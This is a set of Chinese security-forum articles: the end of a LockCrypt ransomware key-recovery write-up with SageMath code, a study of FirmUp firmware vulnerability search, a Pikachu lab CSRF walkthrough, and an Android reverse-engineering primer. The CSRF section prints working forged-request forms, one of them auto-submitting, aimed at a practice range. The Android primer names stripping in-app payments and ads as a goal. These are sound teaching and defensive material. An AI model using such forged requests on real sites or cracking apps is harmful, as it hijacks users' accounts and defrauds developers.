可以得出结论，为了能够解密任意长度的文件和文件名，需要恢复原始的解密密钥，而不仅仅是前面提到的stream key。
# 恢复original key
分析表明上面的线性方程组将stream key和original key联系在一起。如果尝试将分析公式化，下面的python函数可以给出original
key位标记，然后位标记与stream key位进行XOR运算：
key_bitlen = 25000*8
def k_for_i(i):
i_dword = i >> 5 # the index of the dword for bit i
i_offset = i % 32 # the index of bit i in its dword
i = i + key_bitlen
k = []
k.append((i_dword << 6) + i_offset)
if i_offset < 16:
k.append(k[0] - 16)
else:
k.append(k[0] + 16)
k.append((i_dword << 5) + ((i_offset + 5) % 32))
return [x % key_bitlen for x in k if x >= 0]
`stream_key[i] == reduce(xor, (key[k] for k in
k_for_i(i)))`有了这个函数，就可以生成一个200000×200000稀疏矩阵，描述original key和stream key之间的转化：
def gen_equations(idx):
A_i_j_s = []
for i in xrange(idx << 3, (idx << 3) + key_bitlen):
A_i_j_s.append(k_for_i(i))
return A_i_j_s
矩阵A的第i行除了A_i_j_s[i]是1外，其他列元素都是0。
因此，得到的矩阵非常稀疏，每行只有3个值，所以适用于在普通电脑上用线性几何方法去解决该问题。比如，用SageMath软件：
# fix the following parameters to those of your own
stream_key_idx = 25000 # the stream key idx you recovered
stream_key_path = "key-stream-idx-25000.bin" # the path to the stream key you recovered
original_key_path = "key.bin" # the path to write the original key to
import itertools
import struct
def grouper(iterable, n, fillvalue=None):
args = [iter(iterable)] * n
return itertools.izip_longest(fillvalue=fillvalue, *args)
def str2bits(s):
bits = []
for dword in grouper(s, 4):
dword = "".join(dword)
dword = struct.unpack("<I", dword)[0]
bits += [(dword >> i) & 1 for i in xrange(32)]
return bits
def bits2str(bits):
s = []
for dword_bits in grouper(bits, 32):
dword = 0
for i, bit in enumerate(dword_bits):
dword = dword | (bit << i)
s.append(struct.pack("<I", dword))
return "".join(s)
with open(stream_key_path) as f:
stream_key = f.read()
assert len(stream_key) == 25000
stream_key_bits = str2bits(stream_key)
Y = vector(GF(2), 200000, stream_key_bits)
# create a matrix with the equations for the stream key bit
A_i_j_s = gen_equations(stream_key_idx)
A = matrix(GF(2), 200000, sparse=True)
for i, A_i_j in enumerate(A_i_j_s):
for j in A_i_j:
A[i,j] = 1
# recover the original key bits
X = A.solve_right(Y)
key_bits = [int(x) for x in X.list()]
key = bits2str(key_bits)
with open(original_key_path, 'wb') as f:
f.write(key)
# 解密文件
总结一下，恢复加密密钥的步骤如下：
1. 恢复至少25010字节的未加密文件或明文文件；
* 研究任意建议先在另一台机器上安装勒索软件加密的软件（相同版本），然后比较加密DLL文件和原始文件的大小；
2. 安装python 2.7；
3. 用recover_stream_key.py脚本来恢复给定加密文件和明文文件中idx >= 2的stream key。
* 如果有大量已知的明文文件，研究任意建议使用idx = 25000。
4. 安装SageMath；
5. 打开SageMath Jupyter Notebook，复制并执行上面的代码段来恢复原始的加密密钥；
* 从实验的结果看，这一步需要花费20分钟到几个小时
6. 使用decryptor.py脚本来解密加密的文件；
脚本下载地址为Unit 42的GitHub：<https://github.com/pan-unit42/public_tools/tree/master/lockcrypt> | 社区文章 |
# 独角兽暑期训练营 | 嵌入式固件自动化漏洞扫描方法研究
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 该课题由独角兽安全夏令营第二届学员黄瑞同学完成
## 独角兽暑期训练营
360无线电安全研究院每年暑假都会面向在校学生举办一次暑期训练营，申请者投递简历并提交自己想做的课题介绍后，若入选，会在360技术专家的指导下完成课题。
本系列文章会发布今年5位学员在训练营中的成果。文章相关代码后续会在[训练营github代码仓库](https://github.com/UnicornTeam/summer-camp)发布 。
## 引言
从骨干路由器、交通信号灯到家用调制解调器和智能冰箱，嵌入式设备在现代生活中的应用越来越多。嵌入式设备固件的数量也增长到难以计量。安全人员曾经在这类设备上发现很多高危安全漏洞。相比挖掘新漏洞，在这些固件中扫描出已经在其他设备上发现或者是开源代码中发现过的漏洞，也非常重要。
因此，我们需要一种有效的解决方案来搜索固件中的漏洞。
由于各种设备供应商使用了各种不同的处理器架构和独特的工具链，以及固件的高度定制特性，在固件搜索漏洞代码片段极具挑战性。
我们尝试解决的问题是：检测采用不同指令集的二进制固件中，是否使用过包含有特定漏洞的代码片段。我们阅读了一些二进制搜索的学术论文，并实现了验证平台，针对这个目标做了一些改进，识别准确性取得了提高。
## 主要工作
本文总结了在阅读分析两篇静态二进制代码搜索的文章后，对文章中的思路和算法进行复现并评估效果，在效果并不理想的情况下进行了一点改进并再次评估的过程。
文章分别是：
1. Yaniv David, Nimrod Partush, and Eran Yahav. 2018. FirmUp: Precise Static Detection of Common Vulnerabilities in Firmware. (ASPLOS ’18). ACM, New York, NY, USA, 392-404.
2. Yaniv David, Nimrod Partush, and Eran Yahav. 2017. Similarity of binaries through re-optimization. SIGPLAN Not. 52, 6 (June 2017), 79-94.
## 问题定义
给定程序集F={T1, T2, …, Tn} 和一个查询程序Q， Q中包含一个(有漏洞的)函数q，我们的目标是判断 Ti (∈ F)
是否包含一个与q相似的函数。
首先是我们想要解决的问题，比较严谨的问题定义如上，给定T1,T2，T3还有查询程序Q，这些都是二进制程序，其中Q中包含了一个函数q，我们的目标就是搜索这些T中是否有函数与q是相似或者相同的。直观来讲就是在F里面搜索q这个函数。
## 应用场景
下面来是解决如上所述问题的意义、解决后可以应用在哪些场景：
跨平台、跨工具链、跨优化等级程序中的代码搜索：最广泛的应用场景是目前IOT的设备越来越多，但是设备的固件都是经过编译、去掉符号表、打包好的，相同功能设备上面的程序可能是跨平台、跨工具链、跨优化等级的，这个时候我们只能从二进制层面去尝试大规模的自动化分析。
闭源软件分析：因为windows上的大多数软件都是闭源的，也只能从二进制层面进行分析搜索。
## 两种解决思路
在阅读了一些文章后总结解决上述问题大致有两种思路：
利用图论：
CFG(control-flow-graph)本质是图，节点是代码片段，边是跳转关系。利用图算法，通过寻找两个CFG间的同构或子图同构来进行相似度匹配
生成特征：
利用一个函数的某些或所有的basic-block的内容以及CFG的结构，执行相应的算法生成属于这个函数的特征，随后通过比较两个代码片段的特征来判断二者的相似度。
## Firmup
Firmup是作者这一系列论文中最新的一篇里的解决方案，也是准确率最高的。Firmup方案中使用的是上面的第二种思路，也就是分别生成属于两段代码的特征，然后对比两个特征得出相似度。下面介绍Firmup方案里的特征提取算法以及特征匹配算法。
### 特征提取算法
第一步：生成CFG
CFG控制流图中每个节点代表一个基本块(basic-block)，跳跃目标以一个块开始，和以一个块结束。生成CFG有很多成熟工具可以完成,同时也允许编程，比如IDApython，和angr 二进制分析框架。
第二步：统一为Vex-IR
VEX-IR是为了方便二进制自动化分析而创造的跨平台间差异的中间表达式。第二步是將CFG的每个节点也就是basicblock的内容以Vex-IR的形式来储存，IR是一种语言的中间形式，类似于clang编译器前端將c语言翻译为IR，编译器后端再將IR编译成具体平台的代码。但是Vex-IR比较特殊，是由二进制代码提升为IR，是反向的，专门用于跨平台二进制分析，能把不同平台的指令统一为同一种形式。比如上图第一张是两条汇编指令，第二张是翻译成的Vex-IR，以IMark指令为分割，將每条汇编指令都翻译成了多条Vex-IR，比如0x404ee这条pop指令翻译之后，包括了读取rsp当前指向内容、缩小栈再到赋值给rbp、为pc赋值將指令指针指向下一条，可以看出Vex-IR是將一条汇编指令的所有功能翻译为多条简单指令(load以及put)来实现跨平台统一的。这是Firmup的思路中起到跨平台的主要工具。
第三步：数据流分片
这一步运用数据流分片，將Basic-Block分为更细的粒度:strand，strand是一个BB中的一个Use-Define链，每个strand只包含用来计算同一输出的多条指令。具体分片操作是由下向上的，比如先使用第5条指令cmp，在里面使用了寄存器r13,接着上找到第四条sub修改了r13的值，同时又读取了r15,再向上找第2条指令为r15赋值，同时也读取了rax，至此上面也没有指令为rax赋值，一个strand就分割完成了。再经过类似的过程，可以將一块BB分割为多个strand，每一个strand都是一个完整的“赋值-使用”的链条。
第四步：Vex-IR to LLVM-IR
进行到这一步之前，每一个basic-block都已经分割为了strand(由Vex-IR表示)。现在将一个Vex-IR块翻译为LLVM-IR的一个函数。这么做的目的在第五步中会详细说明。这一步转换的过程在Firmup的文章中一句带过，但是实际上是技术实现起来最复杂的部分，具体实现在后面在实现部分会有详细介绍。
第五步：优化LLVM-IR
第五步是对刚刚第四步翻译出来的strand(LLVM-IR形式)进行语义上的优化，之所以费了很大力气把Vex-IR转化成LLVM-IR，是想利用llvm
非常成熟的优化工具opt，这样一来不同优化等级、不同工具链编译的代码，能够在opt的分析下统一优化为最高优化等级的代码，这是Firmup论文的思路中起到跨优化等级跨工具链的主要工具。
第六步：统一化
最后会对优化之后的llvm-IR进行命名统一化，包括寄存器名和变量名，统一以其出现的次序重新命名，这也是屏蔽平台间差异的一项措施，最后提取出的一个函数的特征就是他的所有的strand的集合，每个strand都是一段LLVM-IR，也是一串字符，最后我们计算每个strand的md5方便比较、存储。
总结
至此特征提取的六个步骤就介绍完了，总结起来如图：一个可执行程序包含多个函数，每个函数经过CFG得到多块block，每块block都能经过数据流分片分割为多个strand，所以我们提取出的每个function的特征，便是由他下面所有的strand组成的集合，function也是我们用来匹配的单位。
### 特征匹配算法
两个函数相似度指标：拥有的相同strand的数量(交集大小)
现在我们得到了每个函数的特征，下面介绍文章中的特征匹配算法。按照刚刚的思路，每个函数的特征都是一个strand集合，我们可以简单的比较和哪个函数的strand交集最多就认为那个函数是最佳的匹配。
但是此时会遇到一个问题，如上图，上侧的ftp retrieve
glob与sub443ee2是strand交集是最多的，但实际上443ee2的最佳匹配是getftp，这是函数不同的大小规模造成的，ftpretrieve比sub443ee2小了一些，正确的匹配应该是像上图右半侧里的对应关系。
下面介绍论文中在一定程度上解决这个问题从而提高准确率的匹配算法，如上图：横纵坐标分别是编译在arm和mips平台上的curl里面的函数，2和3代表编译优化level，函数名后面的括号是他包含的strand数，a1、a2、a3是他们的简称。
我们拿a1作为查询函数，首先看b1、b2、b3哪个函数与a1的strand交集数量最多，是b2，直观上可以看到是不对的。算法继续，计算b2的最佳匹配是a2函数，a2和a1是不同的函数，也就表明a1的最佳匹配应该不是b2。这时候我们把b2也放入tomatch栈，先寻找b2的匹配对象，b2的最佳匹配是a2,a2的最佳匹配也是b2，这时候我们认为a2、b2才是正确的匹配，加入到match列表。
最后这时候tomatch里又只有a1,继续计算最佳匹配，现在应该是b1,因为b2已经找到了最佳的匹配对象，继续再看b1的最佳匹配也是a1,匹配成功。至此匹配完成，可以看出在没有在3×3匹配都计算的情况下得到了正确的匹配。最后更加详细的匹配算法伪代码在论文的Algorithm2，感兴趣的同学可以自行仔细阅读，在此不再贴出来赘述。
### 假设与限制
最后是论文算法所作出的假设以及限制：
粒度过大
匹配算法做了一个很强的假设，就是假设Q
T两个程序有相似的函数，或者说从同一套源码编译的，这也就限制了应用的场景在同源程序间的匹配，没有办法只单单搜索函数或片段。
IR的表达能力有限
第二是Vex-IR没有能够完全屏蔽平台间的差异，比如对flag寄存器的操作，平台特有的指令arm里的clz。
## 复现及评估
### 软件架构
实现软件的架构主要分三个角色，matcher、slicer、translator：
matcher里实现了前面提到的匹配相关的所有算法
slicer里面主要是將block分割为strand的函数
translator是主要的部分，能够將vexIR翻译为LLVMIR
### translator实现
因为translator在论文里基本是一句带过，但实际上是技术上实现难度最大的，他的输入是一块vexIR，输出是一个LLVM
IR的函数，VexIR里面未读先写的寄存器作为全局变量传入函数，最后一个计算的变量作为函数的返回值，右侧的函数体内是左侧的每条指令逐条翻译过去的，最后用llvm
opt优化翻译出的函数，最后根据变量出现的位置进行统一重命名。
### 效果评估
评估的方法是：分别编译两个curl，不去除符号表，对作为查询者的curl里面的每个函数都进行一次匹配，由于没有去除符号表，因此我们可以明确确定匹配是成功还是失败，最后计算匹配成功的概率。
如上图，红色是匹配失败项，TP指正确匹配，FP指程序声称匹配到了结果，但结果是错误的。FN指程序认为被搜索的程序中没有匹配到对应函数，但是我们知道这个函数是存在的。
上面是一个比较全面的测试结果，arm0代表在arm架构上优化等级为0。可以看出红色区域是匹配双方包含编译优化等级为0的程序的情况，效率都很不理想，绿色是匹配双方同平台优化等级相似的情况，这时候准确率高一些。黄色区域是跨平台但都经过优化的情况。可以看到总体来看效果不是太理想。
### 改进
刚刚的效果很不理想，后面在寻找原因时，我发现了一个比较典型的现象，下图中左右两侧分别是两个curl同一个函数的第一块block，红色区域上半部分是Vex-IR，下半部分是翻译后的LLVM-IR，可以看出Vex-IR部分是明显不一致的，但是LLVM-IR部分右侧的黄线以上的部分是与左侧完全相同的。这个现象说明，当前strand的粒度可能还是太大了，前面的复现里的strand的组成是一条一条的汇编指令，我决定将其粒度改为Vex-IR中的一条条statement指令，也就是细化strand的粒度。
### 改进后效果评估
上图更改之后的效果，相同的测试场景，可以看到准确率有了明显的提升。
每个单元格的第一个数字代表只保留strand数大于5的函数的准确率，第二个数字代表只保留strand数大于15的函数的准确率，因此可以看出Firmup匹配算法更适合规模较大的函数。 | 社区文章 |
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
# 3.CSRF
## 1.CSRF(跨站请求伪造)概述
CSRF(跨站请求伪造)概述
Cross-site request forgery
简称为“CSRF”，在CSRF的攻击场景中攻击者会伪造一个请求（这个请求一般是一个链接），然后欺骗目标用户进行点击，用户一旦点击了这个请求，整个攻击就完成了。所以CSRF攻击也成为"one
click"攻击。 很多人搞不清楚CSRF的概念，甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
这里列举一个场景解释一下，希望能够帮助你理解。
场景需求：
小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。
先看下大白是如何修改自己的密码的：
登录---修改会员信息，提交请求---修改成功。
所以小黑想要修改大白的信息，他需要拥有：1，登录权限 2，修改个人信息的请求。
但是大白又不会把自己xxx网站的账号密码告诉小黑，那小黑怎么办？
于是他自己跑到www.xx.com上注册了一个自己的账号，然后修改了一下自己的个人信息（比如：E-mail地址），他发现修改的请求是：
【[http://www.xxx.com/[email protected]&Change=Change】](http://www.xxx.com/[email protected]&Change=Change】)
于是，他实施了这样一个操作：把这个链接伪装一下，在小白登录xxx网站后，欺骗他进行点击，小白点击这个链接后，个人信息就被修改了,小黑就完成了攻击目的。
为啥小黑的操作能够实现呢。有如下几个关键点：
1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验，导致这个请求容易被伪造;
\---因此，我们判断一个网站是否存在CSRF漏洞，其实就是判断其对关键信息（比如密码等敏感信息）的操作(增删改)是否容易被伪造。
2.小白点击了小黑发给的链接，并且这个时候小白刚好登录在购物网上;
\---如果小白安全意识高，不点击不明链接，则攻击不会成功，又或者即使小白点击了链接，但小白此时并没有登录购物网站，也不会成功。
\---因此，要成功实施一次CSRF攻击，需要“天时，地利，人和”的条件。
当然，如果小黑事先在xxx网的首页如果发现了一个XSS漏洞，则小黑可能会这样做：
欺骗小白访问埋伏了XSS脚本（盗取cookie的脚本）的页面，小白中招，小黑拿到小白的cookie，然后小黑顺利登录到小白的后台，小黑自己修改小白的相关信息。
\---所以跟上面比一下，就可以看出CSRF与XSS的区别：CSRF是借用户的权限完成攻击，攻击者并没有拿到用户的权限，而XSS是直接盗取到了用户的权限，然后实施破坏。
因此，网站如果要防止CSRF攻击，则需要对敏感信息的操作实施对应的安全措施，防止这些操作出现被伪造的情况，从而导致CSRF。比如：
\--对敏感信息的操作增加安全的token；
\--对敏感信息的操作增加安全的验证码；
\--对敏感信息的操作实施安全的逻辑流程，比如修改密码时，需要先校验旧密码等。
## 2.CSRF(get)
谷歌浏览器登录kobe账号
QQ浏览器登录lucy账号
对kobe账号信息进行修改，点击个人信息修改，点击submit，burp抓包右键生成CSRF的poc
把生成的poc保存成html文档，把里面的信息写入kobe的信息
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://range.anhunsec.cn:8080/vul/csrf/csrfget/csrf_get_edit.php">
<input type="hidden" name="sex" value="boy" />
<input type="hidden" name="phonenum" value="15988767673" />
<input type="hidden" name="add" value="nba lakes" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
用QQ浏览器lucy的账号打开，点击submit
可以发现lucy的个人信息已经被修改为kobe的个人信息了
get型的CSRF还可以直接在url里进行修改，可以达到同样的效果
/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=15988767673&add=nba
lakes&[email protected]&submit=submit
## 3.CSRF(post)
谷歌浏览器登录kobe账号
QQ浏览器登录lili账号
通过burp抓包可以发现，所有参数是在请求体里面提交，伪造url方法就不能使用了，要利用的话，需要构造一个表单来提交数据，诱导用户去点击，从而引发攻击
构造表单放在公网服务器上，表单里是kobe的账号信息
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://range.anhunsec.cn:8080/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="boy" />
<input id="phonenum" type="text" name="phonenum" value="15988767673" />
<input id="add" type="text" name="add" value="nba lakes" />
<input id="email" type="text" name="email" value="[email protected]" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
在QQ浏览器登录lili的账号，访问公网服务器准备好的欺骗url，点击submit
可以发现lili的个人信息已经被修改为kobe的个人信息了
## 4.CSRF Token
通过burp抓包可以发现，每次请求，都有一个随机码，后台每次对这个随机码进行验证
查看页面源码，发现有一个隐藏的token值, 提交完，后台的token值会与提交的token值进行验证，跳过，才可以修改数据
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# Android逆向：基础入门
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
随着app的广泛应用，使用过程中，难免会遇到些很不友好的功能，比如：游戏充值、间断性弹窗广告、续费解锁下一回等等。
如何将这些功能给XX掉？Android逆向就可以做到，纵向丝滑。
当然这只是安卓逆向的 **非专业性作用** 之一，安卓逆向的作用不仅限于此，之所以以此引入，是因为激发学习最大的动力——兴趣，有了兴趣，你们想不学都不行。
网上教程上都这样讲，学习安卓逆向，不可避免的需要掌握一定的java基础、等等这就话虽说没错，但对于零基础的小白，难道要先学这些编程语言再去入手逆向吗？
我的想法是，采用理论实践相结合，边练边学，这样印象才更加深入人心啊
当然此观念是在经过两节框架式知识铺垫的前提下，想了解andorid逆向，没有提前做功课可不行。接下来这篇文章呢，大家就当科普内容，先了解下andnroid系统的运行机制、框架及andorid应用程序的相关知识。
## 目录
1. **android系统架构**
2. **Dalvik虚拟机与ART虚拟机**
3. **android应用程序架构**
4. **android应用编译流程**
5. **android应用反编译流程及工具利用**
6. **android逆向概述**
## android系统架构
### android系统
安卓（Android）是一种 **基于Linux内核** （不包含GNU组件）的自由及开放源代码的操作系统。主要使用于移动设备，如智能手机和平板电脑，
**由美国Google公司和开放手机联盟领导及开发** 。
### android系统架构
左边的就是android系统框架了，右边我加了备注，这样更加明了，我们可以看到，android系统架构共 **分四层** ， **从下往上** 分别是：
**Linux内核层** 、 **系统运行库层** （程序库+android运行库）、 **应用程序框架层** 、 **应用层** 。
**大家重点关注下Android Runtime这一部分，其他的简单了解下就可以涉及到后面的讲解** ：
1. **Llnux内核层：** Android系统是基于Linux内核的,它提供了基本的系统功能及与硬件交互的驱动，像图中Display Driver（显示驱动）、Camera Driver（摄像头驱动）、WiFi Driver（WiFi驱动）等， **简单了解下就可以** 。
2. **系统运行库层：** 像图中内核的上一层就是系统运行库层，它由 **程序库（绿色部分）** 和 **Android运行库（黄色部分）** 组成。
3. **Librares（程序库）：** 由C、C++编写，一系列程序库的集合，供Android系统的各个组件使用。其中包括:
系统类库名称 | 说明
---|---
Surface Manager | 执行多个应用程序时，管理子系统的显示，另外也对2D和3D图形提供支持
Media Framework |
基PacketVideoOpenCore的多媒体库，支持多种常用的音频和视频格式的录制和回放，所支持的编码格式包括MPEG4，MP3，H264，AAC，ARM
SQLite | 本地小型关系数据库，Android提供了一些新的SQLite数据库API，以替代传统的耗费资源的JDBC API
OpenGL/ES | 基于OpenGL ES 1.0API标准实现的3D跨平台图形库
FreeType | 用于显示位图和矢量字体
WebKit | Web浏览器的软件引擎
SGL | 底层的2D图形引擎
Libc（bionic l ibc） | 继承自BSD的C函数库bionic libc，更适合基于嵌入式Linux的移动设备
SSL | 安全套接层，是为网络通信提供安全及数据完整性的一种安全协议
1. **Android runtime（Core Librares + Dalvik虚拟机）：** 翻译过来就是Android运行时，Android应用程序时采用Java语言编写， **程序在Android运行时中执行** ，其运行时分为 **核心库** 和 **Dalvik虚拟机** 两部分。
2. **Dalvik虚拟机（DVM）：**
3. 而 Dalvik虚拟机又是什么鬼？
4. 5. 它呢就类似java虚拟机，所有Android应用程序基本是在Dalvik虚拟机环境下运行的。下面会有单独一章给大家介绍。
6. **Core Librares（核心库）：** 由于DVM也是兼容java语言的，所以Android核心库，它里面都集成了支持JAVA语言的jar包，
7. **application Framework（应用程序框架层）：** 这一层呢主要是提供一些组件，搭建框架，方便app开发人用再次基础上快速开发开发应用程序。而实际上就是一些AndroidAPI, **简单了解下就可以**
应用程序框架层类库名称 | 功能
---|---
活动管理器（Activity Mananger） | 管理各个应用程序生命周期并提供常用的导航回退功能，为所有程序的窗口提供交互的接口
窗口管理器（Window Manager） | 对所有开启的窗口程序进行管理
内容提供器（Content Provider） | 提供一个应用程序访问另一个应用程序数据的功能，或者实现应用程序之间的数据共享视图系统（View
System）创建应用程序的基本组件，包括列表（lists），网格（grids），文本框（text
boxes），按钮（buttons），还有可嵌入的web浏览器。
通知管理器（Notification Manager） | 使应用程序可以在状态栏中显示自定义的客户提示信息
包管理器（Package Manager） | 对应用程序进行管理，提供的功能诸如安装应用程序，卸载应用程序，查询相关权限信息等。
资源管理器（Resource Manager） | 提供各种非代码资源供应用程序使用，如本地化字符串，图片，音频等
位置管理器（Location Manager） | 提供位置服务
电话管理器（Telephony Manager） | 管理所有的移动设备功能XMPP服务是Google在线即时交流软件中一个通用的进程，提供后台推送服务
1. **Applications（应用层）：** 顶层中有所有的 Android 应用程序，如手机中的：电话、文件管理、信息等。
## Dalvik虚拟机与ART虚拟机
### Dalvik虚拟机
Dalvik是google专门为Android操作系统设计的一个虚拟机, **简称DVM** 。 **在Android 4.4及以前的版本，**
所有的Android程序都是在Dalvik虚拟机环境下去运行的。DVM的指令是 **基于寄存器** 的，运行的是经过转换的 **.dex文件**
（.dex是专为Dalvik设计的一种压缩格式，适合内存和处理器速度有限的系统）,Dalvik虚拟机每次应用运行的时候，将代码编译成机器语言执行。
而DVM与JVM的区别:
1. **JVM运行的是Java字节码,DM运行的是 Dalvik字节码。**
2. 传统java程序经过编译，生成java字节码保存在class文件中，java虚拟机通过解码class文件来运行程序，而 Dalvik虚拟机运行的是Dalvik字节码，所有的Dalvik字节码都由java字节码转换而来，并打包到一个dex可执行文件（.dex）,Dalvik虚拟机通过解释DEX文件来执行字节码。
3. **DVM是基于寄存器的虚拟机 而JVM执行是基于虚拟栈的虚拟机。**
4. 寄存器存取速度比栈快的多，dvm可以根据硬件实现最大的优化，比较适合移动设备。
5. 以下是同段代码经反编译形成的java字节码与Dalvik字节码对比
6. java字节码
7. 8. Dalvik字节码
9. 10. **dvm执行的是.dex格式文件，jvm执行的是.class文件**
11. .dex文件，是DVM独有的执行文件格式，体积更小，速度跟快，占用空间更少
12. **运行环境的区别**
13. Dalvik 经过优化，允许在有限的内存中同时运行多个虚拟机的实例，并且每一个Dalvik 应用作为一个独立的Linux 进程执行。独立的进程可以防止在虚拟机崩溃的时候所有程序都被关闭。
### ART虚拟机
前面说到，当我们使用手机每运行一个程序，Dalvik虚拟机都会产生一个实例，互不影响，这就可能会出现占用资源过多等问题，随着人们日益增长的需求，dalvik无法满足人们对软件运行效率的需要。这是就诞生了ART虚拟机。
在 **Android4.4及以上版本** ，应运而生的ART（Android Run
Time）虚拟机替代了Dalvik虚拟机，其处理机制根本上的区别是它采用AOT(Ahead of TIme)技术，
**会在应用程序安装时就转换成机器语言，不再在执行时解释**
，从而优化了应用运行的速度。在内存管理方面，ART也有比较大的改进，对内存分配和回收都做了算法优化，降低了内存碎片化程度，回收时间也得以缩短。
**DVM与ART的区别：**
虽说ART替换了Dalvik虚拟机，并不意味着，其应用程序开发上也要发生改变，像android应用程序安装包（apk）中，仍然还是可执行的.dex文件。
1. **执行方式：运行效率提高**
2. DVM是在每当程序运行时，通过解释器来执行Davlik字节码，进而转化成快速运行的机器码；而ART是在程序安装时将字节码预先编译成机器码，这样运行程序就不用再次编译
3. **预装时间：增加**
4. ART安装程序的时间会长一些，但是每次运行程序会快一点；dvm相反
5. **占用存储空间：增加**
6. art由于预编译，所以所占的存储空间会大一些
7. **支持64位 CPU**
8. DVM是为32位CPU设计的，而ART是支持64位并且兼容32位CPU
## Android应用程序架构
安卓应用程序使用JAVA语言编写。安卓的SDK工具负责将你编写的代码，用到的数据和资源文件编译进APK文件中，APK：android
package（应用程序安装包）。apk文件包含了一个安卓应用程序的所有内容，并且被安卓设备用来安装应用程序。
而apk实际上就是一个标准的zip格式，修改后缀名，进行解压就可以看到内部结构
而每个文件夹都有各自不同的作用，大家可以了解下
1. **assets文件夹：** 保存一些额外的资源文件，如游戏的声音文件，字体文件等等，在代码中可以用AssetManager获取assets文件夹的资源。
2. **lib文件夹：** 存放用C/C++编写的，用NDK编译生成的so文件，供java端调用。
3. **META-INF文件夹：** 存放apk签名信息，用来保证apk包的完整性和系统的安全。
4. 在IDE编译生成一个apk包时，会对里面所有的文件做一个校验计算，并把计算结果存放在META-INF文件夹内，apk在安装的时候，系统会按照同样的算法对apk包里面的文件做校验，如果结果与META-INF里面的值不一样，系统就不会安装这个apk，这就保证了apk包里的文件不能被随意替换。比如拿到一个apk包后，如果想要替换里面的一幅图片，一段代码， 或一段版权信息，想直接解压缩、替换再重新打包，基本是不可能的。如此一来就给病毒感染和恶意修改增加了难度，有助于保护系 统的安全。
5. **res文件夹：** 存放资源文件，包括icon，xml文件
6. **res/layout/:** 存放被编译为屏幕布局（或屏幕的一部分）的XML文件
7. **res/values/:** 存放可以被编译成很多类型的资源文件
8. **array.xml:** 定义数组
9. **string.xml:** 定义字符串（string）值
10. **AndroidManifest.xml文件：** 应用程序配置文件，每个应用都必须定义和包含的，它描述了应用的名字、版本、权限、引用的库文件等信息。
11. **classes.dex文件：** 传统 Class 文件是由一个 Java 源码文件生成的 .Class 文件，而 Android 是把所有 Class 文件进行合并优化，然后生成一个最终的 class.dex 文件。它包含 APK 的可执行代码，是分析 Android 软件时最常见的目标。由于dex文件很难看懂，可通过apktool反编译得到.smali文件，smali文件是对Dalvik虚拟机字节码的一种解释（也可以说是翻译），并非一种官方标准语言。通过对smali文件的解读可以获取源码的信息。
12. **resources.arsc文件：** 二进制资源文件，包括字符串等。
13. **smali:** smali是将Android字节码用可阅读的字符串形式表现出来的一种语言,可以称之为Android字节码的反汇编语言。利用apktool或者Android Killer，反编classes.dex文件，就可以得到以smali为后缀的文件，这些smali文件就是Dalvik的寄存器语言。
## Android应用编译流程
Android应用编译流程按图中的例子就是一个app应用的生成过程。在应用程序上架的时候都需要程序经过编译、签名
、生成一个后缀为apk的文件才能发布到应用市场。
下面给大家简单讲解下：
1. **第一步：打包资源文件，生成R.java文件**
2. 通过利用aapt资源打包工具，将文件目录中的Resource文件（就是工程中res中的文件）、Assets文件、AndroidManifest.xml文件、Android基础类库（Android.jar文件）进行打包，生成R.java
3. **第二步：aidl生成Java文件**
4. AIDL是Android Interface Definition Language的简称， 是Android跨进程通讯的一种方式。 检索工程里所有的aidl文件，并转换为对应的Java文件
5. **第三步：编译Java文件，生成对应的.class文件**
6. 将R.java、aidl生成的Java文件、Java源文件通过JDK携带的Javac编译生成.class文件
7. **第四步：把.class文件转化成Davik VM支持的.dex文件**
8. 通过dx工具将.class文件生成为classes.dex
9. **第五步：打包生成未签名的.apk文件**
10. 利用apkbuilder工具，将resources.arsc、res目录、AndroidManifest.xml、assets目录、dex文件打包成未签名的apk
11. **第六步：对未签名.apk文件进行签名**
12. 使用apksigner为安装包添加签名信息。
13. **第七步：对签名后的.apk文件进行对齐处理**
14. 使用zipalign工具对签名包进行内存对齐操作， 即优化安装包的结构。
## Android应用反编译流程及工具利用
而Android应用反编译流程就是上面所讲的app生成过程的逆过程。Android应用程序的反编译，算是我们入手Android逆向展开实践的第一步。
下面给大家简单讲解下流程：
首先可以看到最左边的目标unsigned apk，即未签名apk。整体可以看出有两条反编译路线。
**反编译方式一：**
图中上面这条路线是通过利用apktool这款工具，可直接对目标apk直接进行反编译，可以看到除apk本身的资源文件，还生成了smali文件，而smali文件里面包含的都是程序执行的核心代码。我们可以通过直接分析.smali文件中的smali代码，进而修改代码，改变其运行逻辑。
**apktool工具下载地址：**
<https://bitbucket.org/iBotPeaches/apktool/downloads/>
**利用方式：** cmd运行命令
apktool d target.apk
反编译完成后会生成文件夹
**反编译方式二：**
图中下面这条路线是通过修改apk后缀名，对其解压后，将文件夹中的资源文件，通过利用AXMLPrinter2进行分析，进而反编译，而对于解压后的class.dex文件，利用Dex2jar反编译工具对其进行反编译得到jar文件。接着将生成的jar文件直接拖到JD-GUI文件中，可自动生成源码，我们可通过分析其源码，了解其程序的运行逻辑，但我们修改逻辑，最终还是需要在smali文件中进行修改。
**dex2jar下载地址：**<https://sourceforge.net/projects/dex2jar/files/>
**利用方式：** cmd运行命令
dex2jar.bat classes.dex
目录生成新的jar
